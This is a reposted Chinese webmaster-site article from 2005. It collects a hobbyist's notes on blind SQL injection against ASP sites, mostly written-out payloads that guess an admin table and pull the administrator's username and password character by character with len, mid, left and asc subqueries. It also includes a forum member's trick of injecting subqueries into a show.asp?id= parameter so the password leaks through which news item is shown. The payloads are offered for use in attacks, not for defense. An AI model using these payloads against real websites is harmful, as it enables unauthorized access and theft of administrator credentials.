|
 |
资料搜索 |
|
|
|
|
|
|
|
 |
相关文章 |
|
|
|
|
|
|
|
|
|
|
| [ 来源:中国站长学院 | 作者:无从考证 | 时间:2005-8-28 11:49:33 | 浏览:人次 ] | |
|
学习的最好方法就是定期总结自己的学习笔记:)开始吧
通过1=1和1=2来简单检测页面的脚本安全性这里已经没必要再说了
在前阵子发的本周日程中列入了以下的计划 现在把他完善
首
先说我们通过 0<>(select count(*) from admin) 这里的admin就是我们猜测的存放管理员信息的表 现在假设猜测到了 0<>(select count(*) from admin where username<>'') 猜测admin表里用来存放用户名的列叫username 0<>(select count(*) from admin where password<>'') 猜测admin表里用来存放密码的列叫password 假设已经对了 此时我们就可以在页面直接用 and 'EvilOctal''=(select username from admin where username='EvilOctal') 猜解管理员的名字 其实不用猜测 因为一般名字都可以在文章或者软件的添加者那里找到 仔细看就可以发现我们每句都只有一个未知参数 我都用黑体表示了
<1>可以找到管理员用户名的情况下进行直接猜解密码 密码长度我们猜测是5位 and 'EvilOctal'=(select username from admin where len(password)=5) 密码的前5位是admin and 'EvilOctal'=(select username from admin where left(password,5)='admin')
<2>无法得到管理员用户名的情况下用id进行猜解而逐位猜测用户名 已经无法在页面找到管理员的名字了 那就这样 and 1=(select min(id) from admin) 假设对了我们就知道管理员的最小id是1 那就猜测名字长度 and 1=(select min(id) from admin where len(username)=9) 管理员的名字是9位的 那每一位是什么呢 我们猜测管理员用户名左边开始第二位是v and 1=(select min(id) from admin where mid(username,2,1)='v') 假设全部猜测出来 EvilOctal 现在来看密码 and 1=(select min(id) from admin where len(password)>7) 以上是猜测密码为数范围 如果确定为数就可以直接猜测 以下两句 and 'EvilOctal'=(select username from admin where left(password,5)='admin') 上面是说猜测密码的前5位是admin 下面的则说密码的第5位是n and 1=(select min(id) from admin where mid(password,5,1)='n')
<3>管理员密码中文的情况下使用ascii转换进行猜测 至于转换ascii猜测的方法 取得id后可以这样使用你所取得的id 这里假设是1 那么 用户名长度就应该这样猜 and 1=(select id from admin where len(admin)=9) 然后猜测用户名转换ascii句子自己对比 下面的意思都是猜测管理员名左边第二位是t 前一句比较常用 and 1=(select id from admin where asc(mid(admin,2,1))=116) and 1=(select min(id) from admin where mid(username,2,1)='t') 至于密码 看 以下两句都是说猜测密码的第2位是t and 1=(select id from admin where asc(mid(password,2,1))=116) and 1=(select min(id) from admin where mid(password,2,1)='t')
以上就是我的一点小总结 希望能在注入中有所提高......
下面是论坛高手oldduck说的一个新思路的小方法 也许很多高手都已经想到了 甚至熟练掌握了 我比较菜 当新东西发了 高手oldduck的话: 找到一个页面可以显示新闻的漏洞页面,比如show.asp?id=123 然后用 show.asp?id=(select top 1 len(password) from admin) 假设有新闻成功显示 字段库名都是正确的情况下 到列表页面或者搜索页面找到这则文章看链接 假设是show.asp?id=6 那么长度就是6
然后猜1到6位的密码 show.asp?id=(select top 1 asc(mid(password,1,1)) from admin) 用同样的方法找到链接 看id值 再从ascii表中查出字符
如果显示找不到新闻的话 可以用 show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)-(-10) 这样来加一个基数 或者减一个数 ......
方法真是coolB了
|
|
|
|
|
|
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
|
|
|
|
|
栏目编辑: 设计风 |
责任编辑: 郁郁小蝎 |
|
|
原始作者: 无从考证 |
录入时间: 2005-8-28 11:49:33 |
|
|
信息来源: 中国站长学院 |
投稿信箱: Edu#chinaz.com |
|
|
|
| |
|